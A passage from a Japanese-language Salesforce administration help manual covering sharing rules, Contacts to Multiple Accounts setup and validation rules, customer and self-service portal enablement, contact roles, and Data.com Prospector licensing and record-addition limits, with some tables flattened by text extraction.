4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。
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• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ
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取引先責任者-to-複数取引先の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先責任者-to-複数取引
先を有効にする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

営業担当が顧客とその勤務先の法人との間のリレーションを簡単に追跡できる
ようにします。取引先責任者-to-複数取引先は簡単に設定でき、営業担当が 1 つ
の取引先責任者レコードを複数の取引先に関連付けられるようになります。
取引先責任者-to-複数取引先を無効にすると、取引先と取引先責任者の間接リ
レーションがすべて削除されます。取引先責任者とその主取引先の関連付けは
維持されます。
1. [取引先責任者の役割] または連結オブジェクトを使用したカスタムソリュー

ションをすでに使用している場合は、これらソリューションと取引先責任者
-to-複数取引先の比較について確認します。

2. [設定] から、[クイック検索] ボックスに「取引先設定」と入力し、[取引先設
定] を選択します。

3. [取引先責任者を複数の取引先に関連付けることをすべてのユーザに許可] を
選択します。

4. カスタム項目を使用してリレーションに関する一意の情報 (取引先責任者に
電話するのに最適な時間帯など) を取得する場合は、ここで設定することを
お勧めします。[取引先と取引先責任者のリレーション] のオブジェクト管理
設定から、次の操作を実行します。
• Lightning Experience では、[項目とリレーション] に移動します。
• Salesforce Classic では、[項目] に移動します。

5. 取引先と取引先責任者のリレーションページレイアウトに、最も関連性が高
い項目があることを確認します。[取引先と取引先責任者のリレーション] の
オブジェクト管理設定から、[ページレイアウト] に移動します。

6. 営業担当が使用する取引先ページレイアウトに [関連取引先責任者] 関連リス
トを追加します。
[関連取引先責任者] 関連リストにはすべての直接取引先責任者が自動的に含
まれるため、取引先ページレイアウトから [取引先責任者] 関連リストを削除
できます。

ヒント:  [関連取引先責任者] 関連リストに直接項目を追加すると、誰が取引先の直接取引先責任者であ
るかを簡単に確認できます。

7. 営業担当が使用する取引先責任者ページレイアウトに [関連取引先] 関連リストを追加します。

ヒント:  [関連取引先] 関連リストに直接項目を追加すると、どの取引先が取引先責任者の主取引先であ
るかを簡単に確認できます。

8. 個人取引先を使用する場合、Salesforce Classic から、[関連取引先] および [関連取引先責任者] 関連リストを営
業担当が使用する個人取引先ページレイアウトに追加します。

9. 取引先責任者の主取引先に活動が自動的に積み上げ集計されることを回避するかどうかを決定します。積
み上げ集計されないようにする場合は、[設定] から [活動設定] ページに移動して、[取引先責任者のプライ
マリ取引先に活動を積み上げ集計] を選択解除します。
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10. 取引先責任者と取引先のリレーションを確認するには、カスタムレポートタイプを作成します。

関連トピック:

オブジェクト管理設定の検索
取引先への活動の積み上げ集計方法を変更する場合の考慮事項
取引先と取引先責任者のリレーションのカスタムレポートタイプの作成
取引先と取引先責任者のリレーションの入力規則
取引先責任者-to-複数取引先の制限事項

取引先と取引先責任者のリレーションの入力規則

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織で取引先責任者-to-複数取引先を使用していて取引先と取引先責任者のリ
レーションオブジェクトの入力規則を作成している場合、入力規則の回避が必
要な場合があります。
関連取引先のある取引先責任者が作成されると、直接的な取引先と取引先責任
者のリレーションも作成されます。同様に、取引先責任者に新しい主取引先が
割り当てられると、現在の直接的な取引先と取引先責任者のリレーションレコー
ドが変更されます。取引先と取引先責任者のリレーションの入力規則は、取引
先責任者がデータベースに保存された直後に実行されます。
取引先と取引先責任者のリレーションレコードはバックグラウンドで作成され、
ユーザは取引先責任者を作成または編集するときに [取引先と取引先責任者のリ
レーション] 項目にアクセスできないため、入力規則によって取引先責任者の保
存がブロックされる場合があります。
たとえば、次の取引先と取引先責任者のリレーションの入力規則では、[ロール]

項目の値が必須です。
ISNULL(Roles)

ただし、ユーザは取引先責任者を作成または編集するときに [取引先と取引先責任者のリレーション] オブジェ
クトの [ロール] 項目にアクセスできません。そのため、入力規則の条件が満たされず、取引先責任者を保存で
きません。
直接的な取引先と取引先責任者のリレーションが作成されるときに入力規則を回避するには、取引先と取引先
責任者のリレーションの入力規則に次の構文を追加します。
(NOT (ISNEW() && IsDirect)) && (NOT ISCHANGED(IsDirect))
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これで、取引先と取引先責任者のリレーションの入力規則は、取引先と取引先責任者のリレーションが直接的
ではない場合にのみ [ロール] 項目が必須となります。
(NOT (ISNEW() && IsDirect)) && (NOT ISCHANGED(IsDirect))
&&
ISNULL(Roles)

関連トピック:

入力規則の定義
取引先責任者-to-複数取引先の設定

取引先責任者-to-複数取引先とその他のオプションとの比較

エディション

取引先責任者-to-複数取引
先を使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

取引先責任者-to-複数取引
先を使用可能なエディ
ション: Contact Manager
Edition、Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザが取引先責任者を複数の取引先と関連付けることができると、人と業務
対象のビジネスとの間のリレーションを追跡するのが簡単になります。ただし、
[取引先責任者の役割] または連結オブジェクトを使用したカスタムソリューショ
ンをすでに使用している場合は、次のソリューションと取引先責任者-to-複数取
引先の比較を参照してください。

カスタム連結オブ
ジェクト

取引先責任者の役
割

取引先責任者-to-
複数取引先

機能

標準オブジェクト

カスタム項目

カスタムレイアウ
ト

レコードタイプ

項目履歴

入力規則

ワークフロー

プロセスビルダー

フロー

トリガ

カスタムアクショ
ン

API へのアクセス

1 つの関連リスト
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カスタム連結オブジェク
ト

取引先責任者の役割取引先責任者-to-複数取引
先

機能

データベース内の複数の
リレーション行

ストレージ制限への適用

単独で設定取引先からの派生取引先および取引先責任
者からの派生

共有およびオブジェクト
権限

カスタムレポートタイプ標準レポートタイプ
カスタムレポートタイプ

カスタムレポートタイプレポート

Salesforce Classic

Lightning Experience

Salesforce Classic

Salesforce1 (ただし、[取引先
責任者の役割] 関連リスト

Salesforce Classic

Lightning Experience

Salesforce1

ユーザインターフェース

Salesforce1
のレコードは参照のみ
で、[ロール] 項目は使用で
きません。)

関連トピック:

取引先責任者の役割を使用する場合の考慮事項
多対多リレーションの作成
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取引先と取引先責任者のリレーションのカスタムレポートタイプの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

取引先責任者-to-複数取引先を有効にしている場合、取引先責任者と取引先の間
のリレーションを示すレポートを実行できます。まず、営業マネージャおよび
他のチームメイトが必要なレポートを作成できるように、カスタムレポートタ
イプを設定します。
1. 各カスタムレポートタイプおよびカスタムレポートタイプの作成と管理の一

般的な手順を把握します。
2. 適切なオブジェクトリレーションを持つカスタムレポートタイプを作成し、

必要に応じて設定します。
開始にあたっての参考として、カスタムレポートタイプの例をいくつか示し
ます。

次の作業も
必要

CBA (主オブ
ジェクト)

次の内容を
表示するレ
ポートを実
行可能

レポートタ
イプ

取引先責任
者リレー
ションペー
ジレイアウ
トに [直
接] 項目と
[氏名] 項
目を追加す
る。

取引先責任
者リレー
ション

取引先直接的およ
び間接的に
取引先に関
連付けられ
ているすべ
ての取引先
責任者。

関連取引先
責任者

取引先リ
レーション

取引先責任
者

直接的およ
び間接的に
取引先責任

関連取引先

者に関連付
けられてい
るすべての
取引先。

活動取引先責任
者リレー
ション

取引先直接的およ
び間接的に
取引先に関
連付けられ

関連取引先
責任者と活
動の有無

ているすべ
ての取引先
責任者と最
近の活動が
あるかどう
か。
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3. 使用できるようにするレポートタイプをリリースします。
4. これらのカスタムレポートタイプを使用してレポートを作成できることを営業チームに知らせます。

関連トピック:

カスタムレポートタイプの設定
取引先責任者-to-複数取引先の設定

[ソーシャル取引先、取引先責任者、およびリード] の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先責任者を使用可能
なエディション:
Database.com Edition を除
くすべてのエディション

リードを使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

[ソーシャル取引先、取引
先責任者、およびリード]
を有効化、設定、または
無効化する
• 「アプリケーションの

カスタマイズ」

組織または Salesforce1で [ソーシャル取引先、取引先責任者、およびリード] 機能
を有効化することで、ソーシャルインテリジェンスへのユーザのアクセスを増
やします。
Spring '12 リリースより後に作成された組織では、[ソーシャル取引先、取引先責
任者、およびリード] 機能と使用可能なすべてのソーシャルネットワークへのア
クセスがデフォルトで有効になります。これより前に作成された組織では、こ
の機能を手動で有効化する必要があります。

メモ: [ソーシャル取引先、取引先責任者、およびリード] 機能がすでに有効
化されているが、1 つ以上のソーシャルネットワークが表示されない場合
は、「ソーシャル取引先、取引先責任者、およびリードのトラブルシュー
ティング」を参照してください。

1. [設定] から、[クイック検索]ボックスに「ソーシャルアカウント」と入力し、
[ソーシャル取引先と取引先責任者の設定] を選択します。

2. [ソーシャル取引先と取引先責任者を有効化] を選択します。
3. 組織のユーザがアクセスできるソーシャルネットワークを選択します。デ

フォルトでは、すべてのソーシャルネットワークが選択されています。
Salesforce Lightning ExperienceおよびSalesforce1モバイルアプリケーションでは、
他のネットワークが有効になっていても、ユーザは Twitter にしかアクセスで
きません。

4. [保存] をクリックします。
5. Salesforce1モバイルアプリケーションで Twitter にアクセスできるようにするに

は、取引先、取引先責任者、リードのページレイアウトの [モバイルカード]

セクションに Twitter カードを追加します。
6. 各ユーザに、個人で使用するために [ソーシャル取引先、取引先責任者、お

よびリード] を設定できることを伝えます。

関連トピック:

ソーシャル取引先、取引先責任者、およびリード
ソーシャル取引先、取引先責任者、およびリードのトラブルシューティング
[ソーシャル取引先、取引先責任者、およびリード] の設定

2051

取引先責任者および取引先責任者の役割の設定販売ツールの設定および管理



取引先責任者に対するカスタマーポータルの有効化と管理に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先責任者のカスタマーポータルを有効化する前に、次の重要項目を考慮し
てください。また、取引先責任者の情報の維持にはベストプラクティスを使用
してください。

取引先責任者に対するカスタマーポータルの有効化
• カスタマーポータルの取引先責任者を有効にする前に、取引先責任者の取引

先の所有者が、組織内のロールに関連付けられていることを確認します。
• ユーザが、パートナーユーザでありかつカスタマーユーザである場合、それ

ぞれのポータル用に個別のユーザ名とパスワードを持つことができるよう
に、そのユーザには 2 つの取引先責任者レコードが必要です。

• 取引先責任者は、セルフサービスユーザであると同時にパートナーユーザまたはカスタマーユーザである
ことが可能です。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引
き続きセルフサービスポータルを使用できます。

• セルフサービスユーザが作成または所有するデータは、同じ取引先責任者に関連付けられているパートナー
ユーザまたはカスタマーユーザに表示することができます。

• ユーザの [ニックネーム] は、別のニックネームを指定しない限り、ユーザのメールの別名アドレスにデ
フォルト設定されています。たとえば、ユーザの [メール]が「jsmith@company.com」である場合、[保存]を
クリックすると、ユーザの [ニックネーム] は「jsmith」にデフォルト設定されます。

• 取引先のカスタマーポータルに対して初めて取引先責任者を有効にすると、その取引先責任者はカスタマー
ユーザロールに割り当てられます。カスタマーユーザロールには取引先責任者の取引先の名前が含まれて
います。取引先責任者のポータルロールは、後で更新できます (大規模カスタマーユーザにはロールがな
く、ロール階層に含まれないため、この動作はそれらのユーザには適用されません)。

取引先責任者に対するカスタマーポータルの管理
• 有効になった取引先責任者のカスタマーポータルへのアクセス権を編集します。[外部ユーザの管理] をク

リックし、[カスタマーユーザを表示] を選択します。
• カスタマーポータルの使用が有効になっている取引先責任者をマージします。
• 取引先責任者の取引先を変更します。
• カスタマーポータルへの取引先責任者のアクセス権を必要に応じて無効化および非アクティブ化し、最新

の状態に保ちます。
• 取引先責任者は、ポータルに対して無効になっている場合のみ削除できます。非アクティブなポータルユー

ザは削除できません。

関連トピック:

取引先責任者と個人取引先に対するカスタマーポータルの有効化
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項
取引先責任者の制限
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取引先責任者と個人取引先に対するカスタマーポータルの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーユーザを有効
化する、またはポータル
ユーザとしてログインす
る
• カスタマーユーザと関

連付けられた取引先に
対する「編集」

および

「セルフサービスユー
ザの編集」

顧客が Salesforce カスタマーポータルにアクセスできるようにするには、顧客の
取引先責任者レコードまたは個人取引先レコードをカスタマーユーザとして有
効化します。
1. 取引先責任者または個人取引先の詳細ページで [外部ユーザの管理]をクリッ

クし、[カスタマーユーザを有効化] を選択します。
2. 一般情報と地域の設定を確認し、不足している情報は入力します。顧客の

[ユーザ名] は、その顧客の [メール] にデフォルト設定されます。
3. [ポータルユーザライセンス] を選択します。選択したユーザライセンスによっ

て、そのカスタマーユーザに対して選択できる権限セット、ユーザプロファ
イル、およびロール階層オプションが決まります。「カスタマーポータル
ユーザライセンス」 (ページ 2873)を参照してください。

4. カスタマーポータルのユーザ名とパスワードを顧客にメールで送信するに
は、[パスワードをリセットしてユーザに通知する] チェックボックスをオン
にします。
Salesforce 組織が複数のカスタマーポータルを使用する場合、カスタマーユー
ザは、プロファイルに割り当てられたすべてのカスタマーポータルに、1 組
のユーザ名とパスワードを使ってアクセスできます。「複数のカスタマー
ポータルの作成」 (ページ 2836)を参照してください。

5. [保存] をクリックします。
6. ポータル設定のトラブルシューティングや確認を行うには、取引先責任者の

詳細ページで[外部ユーザの管理]をクリックし、[ユーザとしてポータルにロ
グイン]を選択します。新規ブラウザウィンドウが開き、パートナーユーザとしてポータルにログインでき
ます。

必要に応じて、カスタマーユーザを無効化できます。

関連トピック:

取引先責任者に対するカスタマーポータルの有効化と管理に関する考慮事項
[ソーシャル取引先、取引先責任者、およびリード] の有効化
ポータルに対して有効化された取引先責任者の取引先の変更に関する考慮事項
ポータルユーザと関連付けられている取引先責任者のマージに関する考慮事項
カスタマーポータルユーザの管理について
取引先責任者に対するカスタマーポータルの有効化と管理に関する考慮事項
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取引先責任者と個人取引先のセルフサービスの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

セルフサービスユーザを
有効にする
• 「セルフサービスユー

ザの編集」

顧客がセルフサービスポータルにアクセスできるようにするには、顧客の取引
先責任者または個人取引先レコードでセルフサービスを有効にします。セルフ
サービスユーザは、ユーザの取引先レコードに関連付けられているセルフサー
ビスポータルのケースのみを参照できます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

1. 取引先責任者または個人取引先の詳細ページで [セルフサービスを有効化]を
クリックします。

2. 一般情報と地域の設定を確認し、不足している情報は入力します。顧客のセ
ルフサービス [ユーザ名]は、その顧客の [メール]にデフォルト設定されま
す。

3. 顧客をセルフサービススーパーユーザとして有効にするには、[スーパーユー
ザ] チェックボックスをオンにします。スーパーユーザはケース情報を参照
し、コメントを追加できます。また、自社内のユーザが登録したすべての
ケースに添付ファイルをアップロードできます。

4. セルフサービスのユーザ名とパスワードを顧客にメールで送信するには、[パ
スワードをリセットしてユーザに通知する] チェックボックスをオンにしま
す。

5. [保存] をクリックします。

関連トピック:

個人取引先とは?

取引先責任者の役割の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

取引先責任者の役割では、取引先、ケース、契約、または商談で各取引先責任
者が果たす役割を指定します。取引先責任者の役割を使用すると、営業チーム
が常に問い合わせ先と問い合わせる時期を把握できるようになります。共に使
用できるオブジュクトごとに取引先責任者の役割を設定します。使用する役割
と営業担当者への表示方法を定義できます。

重要: Salesforce Classic では、取引先責任者の役割は取引先、商談、ケース、
契約で使用できます。Lightning Experience では、取引先責任者の役割は商談
と契約で使用できます。取引先責任者の役割は各使用可能なオブジェクト
でほぼ同じように機能しますが、それぞれ独立して動作します。そのため、
オブジェクトごとに個別に設定して使用する必要があります。

1. [設定] から、[クイック検索]ボックスに「取引先責任者の役割」と入力し、設定する取引先責任者の役割を
選択します。

2. 必要に応じて、選択リスト値を変更します。新しい値を作成し、値がグラフに表示されるときは常に値に
色を追加することもできます。
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3. 変更内容を保存します。
4. [取引先責任者の役割] 関連リストを、該当するページレイアウトに追加します。

たとえば、商談で取引先責任者の役割を作成する場合、営業担当が使用する商談ページレイアウトに [取引
先責任者の役割] 関連リストを追加します。

関連トピック:

取引先責任者の役割を使用する場合の考慮事項
取引先責任者の役割の追加と管理

ユーザへの非公開の取引先責任者作成の許可

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

非公開の取引先責任者は、取引先に関連付けられない取引先責任者です。ユー
ザが非公開の取引先責任者を作成できるようにするには、取引先責任者ページ
レイアウトを調整して [取引先名] 項目が必要ないように設定します。
取引先に関連付けられない取引先責任者は、組織の共有モデルに関係なく、常
に非公開です。非公開の取引先責任者を許可する前に、非公開の取引先責任者
は所有者とシステム管理者以外のすべてのユーザに対して非表示になるため忘
れられやすい、という欠点を考慮します。
1. 取引先責任者のオブジェクト管理設定から、[ページレイアウト] に移動しま

す。
2. 編集するレイアウトを選択します。
3. レイアウトの [取引先名] 項目を見つけ、マウスポインタを置きます。レン

チアイコンをクリックし、項目プロパティを表示します。
4. [必須] チェックボックスをオフにします。
5. 変更内容を確認します。

組織のデータ品質の改善
ビジネスを成功させる鍵となるのが高品質のデータです。データの質が高いということは、レコードが完全か
つ最新の状態であることを意味します。つまり、会社の人々と適切につながっていることになり、商談を成立
させ、ビジネスを拡大するために必要な情報が備わっているということです。簡単に言うと、高品質のデータ
により、厳密な理解、適応、焦点の絞り込み、実行が可能になります。Data.comには、ビジネスで必要なとき
に必要な高品質のデータを提供する製品スイートが用意されています。そのため、データの入力や更新に費や
す時間が短縮され、ビジネスの成長により多くの時間を割くことができます。

Data.com Prospector の設定
担当者が Salesforce 内で直接、会社、リード、取引先責任者を検索できます。Data.com Prospector を設定およ
び実装すれば、この検索を実行できます。
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データインテグレーションの設定
最新のデータで組織を継続的に更新するようにデータインテグレーションを設定します。
Data.com Clean の設定
ビジネスの良し悪しは、データの質によって決まってしまいます。データの更新と強化にかかる時間を短
縮し、ビジネスの成長に時間をかけたいですか? 完全で最新のSalesforceレコードのために、Data.com Cleanを
設定して実装してください。
取引先データの評価の取得
Data.com データ評価を要求できるようになり、取引先データの品質に関して情報に基づく判断を下せるよ
うになりました。評価では、取引先の全体的なデータ品質の概要と、主要な取引先項目の分析が提供され
ます。組織のデータが変更されることはありません。データ評価は米国とカナダの組織のみで使用できま
す。現在のData.com Cleanのお客様は、AppExchange パッケージの Data.com Clean Reports を使用することをお勧
めします。

Data.com Prospector の設定

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

Data.com ユーザを有効化
する
• 「内部ユーザの管理」

AppExchange パッケージ
をインストールする
• 「AppExchange パッ

ケージのダウンロー
ド」

担当者が Salesforce 内で直接、会社、リード、取引先責任者を検索できます。
Data.com Prospector を設定および実装すれば、この検索を実行できます。

重要: ユーザがData.comからファイルを追加およびエクスポートできるよう
にするには、Data.com ライセンスをユーザに直接割り当てる必要がありま
す。

1. Data.com Prospector に対する Data.com Clean の有効化
ユーザが取引先、取引先責任者、およびリードレコードを手動でクリーン
アップできるようにします。別のソースから追加されたレコードのクリーン
アップも可能です。Data.com Prospectorを使用すると自動的に Clean が有効にな
り、取引先またはリードレコードにリンクされている D&B 企業レコードを手
動でクリーンアップできます。

2. Data.com Prospector の設定
Data.com Prospectorには、[D-U-N-S 番号]、[NAICS コード]、[取引形態] な
ど、Dun & Bradstreet の取引先とリードの基本セットのデータが用意されてい
ます。ここでは、この製品の実装方法を説明します。

3. Data.com Prospector の設定
Data.com Prospector で、Data.com から Salesforce に追加した取引先およびリード
の Dun & Bradstreet 項目を取得します。

4. Data.com 検索結果および関連機能へのアクセスの管理
[Salesforceに追加]と [エクスポートの結果]を使用すると、検索結果を使用す
る Data.com 機能で、ユーザが Data.com 検索結果で実行できる操作を制限でき
ます。

5. Data.com 検索結果およびエクスポートでの連絡拒否設定の考慮
Data.com 検索結果およびエクスポートファイルでは、特定の取引先責任者情
報を非表示にできます。
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6. Data.com API 機能の有効化または無効化
Data.com API 機能は、デフォルトで有効になっています。

関連トピック:

Salesforce 内で必要な高品質のデータの取得
Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ

Data.com ユーザの設定

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

Data.com ユーザを有効化
する
• 「内部ユーザの管理」

AppExchange パッケージ
をインストールする
• 「AppExchange パッ

ケージのダウンロー
ド」

Data.comの充実したデータベース (取引先、取引先責任者、リード) の利用を開始
できるように、ユーザに Data.com へのアクセスを許可し、レコード追加制限を
設定します。Salesforce 内またはデータローダ経由で設定できる Data.com ユーザの
数は、購入した Data.com ライセンス数に応じて異なります。

重要: ユーザがData.comからファイルを追加およびエクスポートできるよう
にするには、Data.com ライセンスをユーザに直接割り当てる必要がありま
す。

段階的な手順: Data.com ユーザを設定する
1. [設定] から、[クイック検索]ボックスに「ユーザの管理」と入力し、[ユーザ]

を選択します。
2. ユーザの [編集] をクリックします。
3. [Data.com ユーザ種別] を選択します。(Data.com ユーザの種別を確認 (ペー

ジ 2060)できます)。
4. ユーザの [Data.com の 1 か月あたりの追加制限] を選択します。
5. ユーザを保存します。

ヒント: また、Apex データローダを使用して Data.com ユーザを設定し、
Data.comユーザ種別を選択して、必要に応じて 1 か月あたりの追加制限を設
定することもできます。これを行うには、ユーザレコードを .csv ファイ
ルにエクスポートし、設定するユーザごとに必要な項目を変更してから、
その .csv ファイルを Salesforce にインポートします。ユーザオブジェクト
からエクスポートする項目は、LastName、FirstName、
UserPermissionsJigsawProspectingUser、
JigsawImportLimitOverride、および
UserPreferencesJigsawListUser です。ユーザオブジェクトについて
の詳細は、『Salesforce および Force.com のオブジェクトリファレンス』を参照
してください。

関連トピック:

Salesforce 内で必要な高品質のデータの取得
Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ
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Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ種別、ライセンス、およびレコード追加制限は、Data.comにアクセスでき
るユーザと、Data.com ユーザが実行できる操作を制御します。

Data.com ライセンス情報、レコード追加残数、制限の確認
ライセンス、レコード追加、および制限に関する重要な情報を、[設定] の
[Data.comライセンスと制限] ページで確認します。このページには、Data.com

の 1 日あたりの API 制限も表示されます。
Data.com Prospector のライセンスはどのように機能しますか?

Data.com Prospector ユーザライセンスを取得すると、ユーザは Data.com で取引
先や取引先責任者を検索し、レコードとしてSalesforceに追加できます。ユー
ザには、Data.com ユーザまたは Data.com リストユーザのいずれかのライセン
スを割り当てることができます。それぞれのライセンスには、独自の特性が
あります。
Data.com Clean のライセンスはどのように機能しますか?

組織がData.com Prospectorを使用している場合、そのライセンスを持つユーザ
は、アクセス可能な取引先、取引先責任者、およびリードのレコードを手動
で更新できます。組織に Data.com Clean ライセンスがある場合は、Data.com ク
リーンアップジョブを使用してレコードを更新できます。また、データイン
テグレーションを使用して、レコードの追加時または保存時にレコードを更
新できます。Data.com Clean ライセンスを持つユーザは、Data.com Prospector ラ
イセンスを持っていなくても手動でレコードを更新できます。

関連トピック:

Data.com FAQ の使用
Data.com ユーザの設定
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Data.com ライセンス情報、レコード追加残数、制限の確認

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com 設定ページを参
照する
• 「アプリケーションの

カスタマイズ」

ライセンス、レコード追加、および制限に関する重要な情報を、[設定] の [Data.com

ライセンスと制限] ページで確認します。このページには、Data.com の 1 日あた
りの API 制限も表示されます。

重要:  [Data.com API 制限] セクションには、Data.com 照合 API へのコールと、
Data.com検索 API へのコールに関する情報が示されます。照合コールに関す
る情報は、組織に Data.com Clean がある場合にのみ表示できます。検索コー
ルに関する情報は、Data.com Prospector ユーザライセンスが割り当てられて
いる場合にのみ表示できます。

段階的な手順: Data.com ライセンス情報を確認する
1. [設定] から、[クイック検索] ボックスに「ライセンスと制限」と入力し、[ラ

イセンスと制限] を選択します。
各ユーザが追加またはエクスポートしたレコード数は、[すべての Data.com ユー
ザ] ページで確認できます。[設定] から、[クイック検索] ボックスに「ユーザ」
と入力し、[プロスぺクタユーザ]を選択します。または、組織でカスタムレポー
トタイプにアクセスできる場合は、Data.com Usage オブジェクトを使用して、よ
り詳細な使用状況に関する情報を示すレポートを作成できます。

関連トピック:

Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ
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Data.com Prospector のライセンスはどのように機能しますか?

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospectorユーザライセンスを取得すると、ユーザはData.comで取引先や
取引先責任者を検索し、レコードとしてSalesforceに追加できます。ユーザには、
Data.com ユーザまたは Data.com リストユーザのいずれかのライセンスを割り当て
ることができます。それぞれのライセンスには、独自の特性があります。

重要: ユーザがData.comからファイルを追加およびエクスポートできるよう
にするには、Data.com ライセンスをユーザに直接割り当てる必要がありま
す。

Data.comユーザ
Data.comユーザは 1 か月あたりに追加またはエクスポートできる取引先、取引先
責任者、リードのレコード数を制限されています。ライセンスユーザあたりの
デフォルトのレコード数は 300 です。各ライセンスユーザのレコード追加制限
は、契約開始日に関係なく、(組織のタイムゾーンに基づいて) 各月の最初の日の
午前 0 時に更新されます。使用されなかったレコード追加数は各月の月末で期
限切れになります。翌月には繰り越されず、払い戻しされません。ユーザごと
に [Data.com の 1 か月あたりの追加制限] を選択できます。これは、ユーザが 1 か月に追加できる取引先、
取引先責任者、リードのレコード数です。任意のユーザまたはすべてのユーザに組織の上限以下の数を選択で
きますが、1 か月あたりの組織の制限に達すると、ユーザはそれ以上レコードを追加できなくなります。

例:  Universal Telco 社の営業部門には 14 人の営業担当者がいます。この部門では 20 個の Data.com Prospector

ライセンスを購入し、それぞれのレコード追加制限は 300 です。つまり、組織内の Data.com ユーザは 1 か
月に 6,000 ものレコードを追加できることになります。Universal Telco 社の管理者は、Data.com ユーザのレ
コード数の月あたりの追加制限を次のように分配しました。
• 10 人の営業担当者にそれぞれ上限 300

• 2 人の営業担当者にそれぞれ上限 500

